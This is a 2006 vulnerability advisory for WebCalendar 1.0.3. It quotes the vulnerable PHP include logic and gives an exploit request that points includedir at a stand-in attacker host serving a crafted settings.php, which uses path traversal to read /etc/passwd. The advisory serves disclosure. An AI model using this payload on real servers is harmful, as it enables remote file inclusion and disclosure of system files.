WebCalendar-1.0.3 reading of any files

2006-06-05 / 2006-06-06
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

Version: WebCalendar-1.0.3 Type: Reading of any files Description: ----------------------------- includes/config.php: line 64 if ( ! empty ( $includedir ) ) $fd = @fopen ( "$includedir/settings.php", "rb", true ); ...... while ( ! feof ( $fd ) ) { $data .= fgets ( $fd, 4096 ); } $configLines = explode ( "n", $data ); for ( $n = 0; $n < count ( $configLines ); $n++ ) { ...... $settings[$matches[1]] = $matches[2]; ...... $user_inc = $settings['user_inc']; ...... includes/init.php include_once "includes/$user_inc"; Example: --------------------------------------- index.php?includedir=http://attacker_host where in attacker_host exists file settings.php , which content " <?php echo '<?php # updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300 Unimportant variables can be taken from original settings.php user_inc: ../../../../../../../../../../../../../../../../etc/passwd # end settings.php ?>'; ?> " Requirements register_globals = On;


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